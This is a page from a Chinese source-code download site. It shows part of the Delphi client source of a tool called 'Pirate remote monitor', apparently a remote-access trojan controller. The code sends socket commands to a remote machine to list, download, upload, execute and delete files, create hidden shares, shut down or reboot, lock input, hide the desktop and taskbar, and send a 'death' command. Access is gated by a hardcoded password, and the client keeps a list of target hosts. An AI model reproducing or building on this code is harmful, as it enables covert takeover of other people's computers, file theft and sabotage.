⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 umain.~pas

📁 一个远程监控程序
💻 ~PAS
📖 第 1 页 / 共 2 页
字号:
      State := stGetFile;
    end;
  end;
  if Index = 2 then begin
    if State = stWait then
       begin
         lvFiles.Items.Clear;
         temp := 'f' + temp+':\*.*';
         ClntSocket.Socket.SendText(temp);
         State := stGetFile;
         CurrentDir := temp1+':\';
  end;
  end;
  end;
end;

procedure TfrmClient.PopupMenu1Popup(Sender: TObject);
begin
  if lvFiles.ItemFocused <> nil then
  if lvFiles.ItemFocused.ImageIndex = 0 then
  begin
    Execute1.Enabled := false;
    Download1.Enabled := false;
    del1.Enabled :=false;
    Share1.Enabled:=true;
    Share2.Enabled:=true;
    A1.Enabled:=true;
   end else
  begin
    Execute1.Enabled := true;
    Download1.Enabled := true;
    del1.Enabled := true;
    Share1.Enabled:=false;
    Share2.Enabled:=false;
    A1.Enabled:=false;
  end
  else
  begin
    Execute1.Enabled := false;
    Download1.Enabled := false;
    del1.Enabled := false;
    Share1.Enabled :=false;
    Share2.Enabled :=false;
    A1.Enabled:=false;
  end;
end;

procedure TfrmClient.DownLoad1Click(Sender: TObject);
var
   temp : string;
begin
  if State = stWait then
  begin
    SaveDlg.FileName := lvFiles.ItemFocused.Caption;
    if SaveDlg.Execute then
    begin
      assignFile(opFile,SaveDlg.filename);
      Rewrite(opFile);
      Counter := 0;
      temp := 'd' + CurrentDir + lvFiles.ItemFocused.Caption;
      ClntSocket.Socket.SendText(temp);
      State := stReceive;
    end;
  end;
end;

procedure TfrmClient.UpLoad1Click(Sender: TObject);
var
   temp : string;
   i    : integer;
begin
  if State = stWait then
  if OpenDlg.Execute then
  begin
    assignFile(opFile,OpenDlg.filename);
    Reset(opFile);
    Counter := 0;
    temp := OpenDlg.FileName;
    i := length(temp);
    repeat dec(i) until temp[i] = '\';
    delete(temp,1,i);
    temp := 'u' + currentDir + temp;
    ClntSocket.Socket.SendText(temp);
    State := stSend;
  end;
end;

procedure TfrmClient.Execute1Click(Sender: TObject);
var
   temp : string;
begin
  temp := 'e' + CurrentDir + lvFiles.ItemFocused.Caption;
  Clntsocket.Socket.SendText(temp);
end;

procedure TfrmClient.edAddrKeyPress(Sender: TObject; var Key: Char);
begin
  if key = #13 then
  btconnectClick(btConnect);
end;

procedure TfrmClient.ClntSocketDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  btspy.Enabled := false;
  btReset.Enabled := false;
  Share1.Enabled :=false;
  Share2.Enabled :=false;
  nscreen.Enabled:=false;
  nmessage.Enabled:=false;
  min_2.Enabled:=false;
  min_3.Enabled:=false;
  N7.Enabled:=false;
  A1.Enabled :=false;
  btConnect.Caption := '连接';
  StatusBar1.SimpleText:='    目标机器 '+cob_ip.Text+'关闭或服务器程序已关闭!';
end;

procedure TfrmClient.FormShow(Sender: TObject);
var IconData: TNotifyIconData;
begin
  IconData.cbSize :=SizeOf( IconData );
  IconData.Wnd := self.Handle;
  IconData.uID := icon_id;
  Shell_NotifyIcon( NIM_DELETE, @IconData );
  edtPassword.SetFocus;
  ClntSocket.open;
end;

procedure TfrmClient.Image1Click(Sender: TObject);
begin
  If Not Assigned(frmAbout) Then
     frmAbout:=TfrmAbout.Create(Application);
  frmAbout.Show;
end;

procedure TfrmClient.FormCreate(Sender: TObject);
begin
//  SetWindowPos(handle,HWND_TOPMOST,Left,Top,Width,Height,0);
   JPEG_Screen:=TJPEGImage.Create;
  {
  Application.HintPause:=0;
  Application.HintPause:=clBlue;
  Application.HintHidePause:=10000;
  Application.HintShortPause:=100;}
end;

procedure TfrmClient.edtPasswordKeyPress(Sender: TObject; var Key: Char);
begin
  if key=#13 then cob_ip.SetFocus;
end;
procedure TfrmClient.del1Click(Sender: TObject);
var
  temptext:string;
begin
  if State = stWait then begin
    temptext:='s'+ CurrentDir + lvFiles.ItemFocused.Caption;
    ClntSocket.Socket.SendText(temptext);
    State := stDel;
  end;
end;

procedure TfrmClient.Share1Click(Sender: TObject);
var
  temptext:string;
begin
  if State = stWait then begin
    temptext:='ashare0'+ CurrentDir + lvFiles.ItemFocused.Caption; //0为不隐藏
    ClntSocket.Socket.SendText(temptext);
    State := stShare;
  end;
end;

procedure TfrmClient.Share2Click(Sender: TObject);
var
  temptext:string;
begin
  if State = stWait then begin
    temptext:='ashare1'+ CurrentDir + lvFiles.ItemFocused.Caption; //1为隐藏
    ClntSocket.Socket.SendText(temptext);
    State := stShare;
  end;
end;

procedure TfrmClient.closePCClick(Sender: TObject);
var
  temptext:string;
begin
  if State = stWait then begin
    temptext:='000';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
  end;
end;

procedure TfrmClient.rebootPCClick(Sender: TObject);
var
  temptext:string;
begin
  if State = stWait then begin
    temptext:='001';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
  end;
end;

procedure TfrmClient.Restart_UserClick(Sender: TObject);
var
  temptext:string;
begin
  if State = stWait then begin
    temptext:='002';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
  end;
end;

procedure TfrmClient.S1Click(Sender: TObject);
begin
  If not assigned(Searchform) Then
     Searchform:=TSearchform.Create(Application);
  Searchform.Show;
end;

procedure TfrmClient.cob_ipKeyPress(Sender: TObject; var Key: Char);
begin
  if key=#13 then btConnectClick(btConnect);
end;

procedure TfrmClient.X1Click(Sender: TObject);
begin
  Close;
end;

procedure TfrmClient.cob_ipChange(Sender: TObject);
begin
  if UpperCase(edtPassword.Text)=UpperCase('oversea') then begin
      Clntsocket.Active := False;  
      ClntSocket.Address := cob_ip.Text;
      ClntSocket.Host := cob_ip.Text;
      Clntsocket.Active := true;
  end else
  Application.MessageBox('目标机口令输入有误!','提示',MB_ICONWARNING);
end;
                                
procedure TfrmClient.PCerrorClick(Sender: TObject);
var
  temptext :string;
begin
  if State = stWait then begin
    temptext:='003';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
  end;
end;

procedure TfrmClient.NLockClick(Sender: TObject);
Var
  TempText:String;
begin
  if State = stWait then begin
    temptext:='004';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
    NLock.Enabled:=False;
    Nfree.Enabled:=True;
  end;
end;

procedure TfrmClient.NfreeClick(Sender: TObject);
Var
  TempText:String;
begin
  if State = stWait then begin
    temptext:='005';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
    NLock.Enabled:=True;
    Nfree.Enabled:=False;
  end;
end;

procedure TfrmClient.NhidedesktopClick(Sender: TObject);
Var
  TempText:String;
begin
  if State = stWait then begin
    temptext:='006';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
    Nhidedesktop.Enabled:=False;
    Ndisplay.Enabled:=True;
  end;
end;

procedure TfrmClient.NdisplayClick(Sender: TObject);
Var
  TempText:String;
begin
  if State = stWait then begin
    temptext:='007';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
    Nhidedesktop.Enabled:=True;
    Ndisplay.Enabled:=False;
  end;
end;

procedure TfrmClient.NhidestatusClick(Sender: TObject);
Var
  TempText:String;
begin
  if State = stWait then begin
    temptext:='008';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
    Nhidestatus.Enabled:=False;
    Ndisplaystatus.Enabled:=True;
  end;
end;

procedure TfrmClient.NdisplaystatusClick(Sender: TObject);
Var
  TempText:String;
begin
  if State = stWait then begin
    temptext:='009';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
    Nhidestatus.Enabled:=True;
    Ndisplaystatus.Enabled:=False;
  end;
end;

procedure TfrmClient.NdeathClick(Sender: TObject);
Var
  TempText:String;
begin
  if State = stWait then begin
    temptext:='010';
    ClntSocket.Socket.SendText(temptext);
    State := stWait;
  end;
end;

procedure TfrmClient.N7Click(Sender: TObject);
begin
  frmParam.ShowModal;
end;

procedure TfrmClient.tv_PClistClick(Sender: TObject);
var
  Temp:String;
begin
if tv_PClist.Items.Count>0 then begin
  Temp:=tv_PClist.Selected.Text;
  if UpperCase(edtPassword.Text)=UpperCase('oversea') then begin
      Clntsocket.Active := False;
      ClntSocket.Address := Temp;
      Clntsocket.Active := true;
      tv_PClist.Hint:=IPAddrToName(Temp);
  end else
  Application.MessageBox('目标机口令输入有误!','提示',MB_ICONWARNING);
end;
end;

procedure TfrmClient.nmessageClick(Sender: TObject);
begin
  If Not Assigned(frmMessage) Then
     frmMessage:=TfrmMessage.Create(Application);
  frmMessage.Show;
end;

procedure TfrmClient.ToolButton4Click(Sender: TObject);
var
  TreeNode1: TTreeNode;
  Server:String;
begin
 if InputQuery('输入要连接的计算机', 'IP地址(或计算机名):', Server) then
    if Length(Server) > 0 then
      TreeNode1:= tv_PClist.Items.Add(nil,Server);
end;

procedure TfrmClient.C2Click(Sender: TObject);
begin
  If colordlg.Execute Then Begin
     tv_PClist.Color:=ColorDlg.Color;
     lvFiles.Color:=ColorDlg.Color;
     edtPassword.Color:=ColorDlg.Color;
  End;
end;

procedure TfrmClient.S3Click(Sender: TObject);
begin
  if tv_PClist.Items.Count > 0 Then Begin
     tv_PClist.SaveToFile('Pirate.lst');
     Application.MessageBox('主机列表已经成功保存!','提示',MB_ICONINFORMATION);
  end;
end;

procedure TfrmClient.N13Click(Sender: TObject);
begin
  If FileExists('Pirate.lst') Then
     tv_PClist.LoadFromFile('Pirate.lst')
  else
     Application.MessageBox('没有找到主机列表文件!','提示',MB_ICONINFORMATION);
end;

procedure TfrmClient.ToolButton5Click(Sender: TObject);
begin
  If tv_PClist.Items.Count > 0 Then
     tv_PClist.Selected.Delete
  Else
    Application.MessageBox('没有可删除的主机!','提示',MB_ICONINFORMATION);
end;

procedure TfrmClient.WMSysCommand(var Message: TWMSysCommand);
var result:boolean;
begin
  Inherited;//调用先前的处理函数
  if (Message.CmdType and $FFF0 = SC_MINIMIZE) then begin
     result:=false;
     hicondo.Wnd:=Handle;
     hicondo.cbSize:=sizeof(hicondo);
     hicondo.uFlags:=NIF_ICON or NIF_MESSAGE or NIF_TIP;
     hicondo.uID:=ICON_ID;
     hicondo.uCallBackMessage:=MI_ICONEVENT;
     hicondo.hIcon:=loadicon(hinstance,'mainicon');
     hicondo.szTip:='海盗远程监控[作者:Army]';
     result:=Shell_NotifyIcon(NIM_ADD,@hicondo);
     if result then destroyicon(hicondo.hIcon);
     frmclient.Hide;
  end;
end;

procedure TfrmClient.FormClose(Sender: TObject; var Action: TCloseAction);
var IconData: TNotifyIconData;
    i:integer;
begin
  IconData.cbSize :=SizeOf( IconData );
  IconData.Wnd := self.Handle;
  IconData.uID := icon_id;
  Shell_NotifyIcon( NIM_DELETE, @IconData );
  DeleteFile('C:\Pirate.jpg');
end;

procedure TfrmClient.IconOnClick(var message: TMessage);
var p : TPoint;

begin
    //if message=wm_mycallback then
{       if (message.lParam = WM_LBUTTONDOWN) then
         self.Show; }

       if (message.lParam = WM_RBUTTONDOWN) then
       begin
        if assigned(popupmenu3) then
        begin
          setforegroundwindow(self.handle);
          GetCursorPos(p) ;
          popupmenu3.Popup(p.x,p.y);
          postmessage(self.handle,MI_ICONEVENT,0,0);
        end;
      end;
end;

procedure TfrmClient.min_1Click(Sender: TObject);
begin
  self.show;
end;

procedure TfrmClient.min_2Click(Sender: TObject);
begin
  frmMessage.ShowModal;
end;

procedure TfrmClient.N18Click(Sender: TObject);
var
   temptext :String;
begin
  if State = stWait then begin
    If MessageDlg('你是否确认删除目标机上海盗服务器端[Y/N]?',mtWarning, [mbYes, mbNo],0) = mrYes then
    begin
       temptext:='012';
       ClntSocket.Socket.SendText(temptext);
       State := stWait;
    end;
  end;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -